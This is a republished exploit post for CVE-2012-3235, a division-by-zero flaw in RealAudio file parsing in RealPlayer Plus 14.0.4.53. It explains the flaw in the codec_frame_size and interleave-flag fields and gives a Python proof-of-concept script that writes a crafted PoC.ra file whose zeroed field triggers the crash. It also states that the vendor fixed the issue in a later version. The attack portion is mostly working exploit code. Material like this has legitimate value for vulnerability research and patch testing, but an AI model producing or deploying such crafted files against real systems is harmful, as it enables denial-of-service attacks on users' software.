RealPlayer Plus 14.0.4.53 RealAudio Integer Division
|
来源:Senator.of.Pirates.team@gmail.com 作者:Senator 发布时间:2012-07-03
|
|
# Title : RealPlayer Plus 14.0.4.53 RealAudio Integer Division By Zero # CVE : 2012-3235 # References : http://service.real.com/realplayer/security/06292012_player/en/ # Auther : Senator of Pirates # E-Mail : Senator.of.Pirates.team@gmail.com # FaceBook : /SenatorofPiratesInfo # Greeting : Morocco
# Bug: -----
integer division by zero during the handling of RealAudio file causedby some fields are under our control "has_interleave_pattern_flag" and "codec_frame_size". "Has_interleave_pattern_flag" if this field is 1, then an interleave pattern follows this flag. The total number of entries in the interleave pattern is "interleave_block_size" * "interleave_factor" / "codec_frame_size". Vulnerable point is here, because we controlled value of "codec_frame_size field" and will be dividing so if the value is 0 with division we will met an “integer division by zero” error.
if (header_has_interleave_pattern_flag != 0) { num_frames_in_superblock = (interleave_factor * interleave_block_size) / codec_frame_size; for (i = 0; i < num_frames_in_superblock; i++) # The Code: -------------
code = ("\x2E\x52\x4D\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x50\x52\x4F\x50\x00\x00" "\x00\x32\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x04\x12" "\x00\x01\x27\xDE\x00\x00\x00\xF3\x00\x12\xB2\x1A\x00\x00\x02\x55\x00\x02\x00\x09\x43\x4F\x4E\x54" "\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4D\x44\x50\x52\x00\x00\x00\x9F\x00\x00" "\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x00\x00\x00\x00" "\x00\xF3\x00\x01\x27\xDE\x0C\x41\x75\x64\x69\x6F\x20\x53\x74\x72\x65\x61\x6D\x14\x61\x75\x64\x69" "\x6F\x2F\x78\x2D\x70\x6E\x2D\x72\x65\x61\x6C\x61\x75\x64\x69\x6F\x00\x00\x00\x51\x2E\x72\x61\xFD" "\x00\x05\x00\x00\x2E\x72\x61\x35\x00\x00\x00\x10\x00\x05\x00\x00\x00\x41\x00\x02\x00\x00\x01\x73" "\x00\x00\x00\x00\x00\x0E\xA6\x00\x00\x00\x00\x00\x00\x01\x01\x73"); code += ("\x00\x00"); # codec_frame_size code += ("\x00\x00\x00\x00\xAC\x44\x00\x00\xAC\x44\x00\x00\x00\x10\x00\x02\x76\x62\x72\x73\x72\x61\x61\x63" "\x01\x07\x00"); code += ("\x01"); # header_has_interleave_pattern_flag code += ("\x00\x00\x00\x03\x02\x12\x10\x4D\x44\x50\x52\x00\x00\x01\x60\x00\x00\x00\x01\xFF\xFF\xFF\xFF\xFF" "\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x10\x6C\x6F\x67\x69\x63\x61\x6C\x2D\x66\x69\x6C\x65\x69\x6E\x66\x6F\x00\x00\x01\x22\x00\x00\x01" "\x22\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x2F\x00\x00\x09\x41\x75\x64\x69\x65\x6E\x63\x65" "\x73\x00\x00\x00\x02\x00\x19\x64\x74\x64\x72\x69\x76\x65\x5F\x63\x75\x73\x74\x6F\x6D\x5F\x61\x75" "\x64\x69\x65\x6E\x63\x65\x3B\x00\x00\x00\x00\x1C\x00\x00\x09\x61\x75\x64\x69\x6F\x4D\x6F\x64\x65" "\x00\x00\x00\x02\x00\x06\x6D\x75\x73\x69\x63\x00\x00\x00\x00\x2D\x00\x00\x0D\x43\x72\x65\x61\x74" "\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36\x2F\x33\x30\x2F\x32\x30\x31\x32\x20" "\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x50\x00\x00\x0C\x47\x65\x6E\x65\x72\x61\x74\x65" "\x64\x20\x42\x79\x00\x00\x00\x02\x00\x37\x48\x65\x6C\x69\x78\x20\x50\x72\x6F\x64\x75\x63\x65\x72" "\x20\x53\x44\x4B\x20\x31\x31\x2E\x31\x20\x66\x6F\x72\x20\x57\x69\x6E\x64\x6F\x77\x73\x2C\x20\x42" "\x75\x69\x6C\x64\x20\x31\x31\x2E\x31\x2E\x30\x2E\x32\x38\x39\x35\x00\x00\x00\x00\x31\x00\x00\x11" "\x4D\x6F\x64\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36" "\x2F\x33\x30\x2F\x32\x30\x31\x32\x20\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x1D\x00\x00" "\x09\x76\x69\x64\x65\x6F\x4D\x6F\x64\x65\x00\x00\x00\x02\x00\x07\x6E\x6F\x72\x6D\x61\x6C\x00\x44" "\x41\x54\x41\x00\x12\xAF\xC5\x00\x00\x00\x00\x04\x12\x00\x00\x00\x00\x00\x00\x04\xDF\x00\x00\x00" "\x00\x00\x00\x00\x02\x00\x30\x01\x72\x01\x72\x01\xE7\x21\x1A\xC5\x00\x7D\x8B\x94\xA7\x37\xA0\xA8" "\x03\xEC\x5C\xA7\x39\xBC\xC8\x3D\xBF\xFC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");
try: A = open("PoC.ra","wb") A.write(code) A.close() print "[*] The file created [*]" except: print "[*] Error while creating file [*]" print "[*] Enter to continue.. [*]" raw_input()
# Fix: -----
I contacted RealNetwork and they told me this issue is fixed in RealPlayer 15.0.5.109.
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|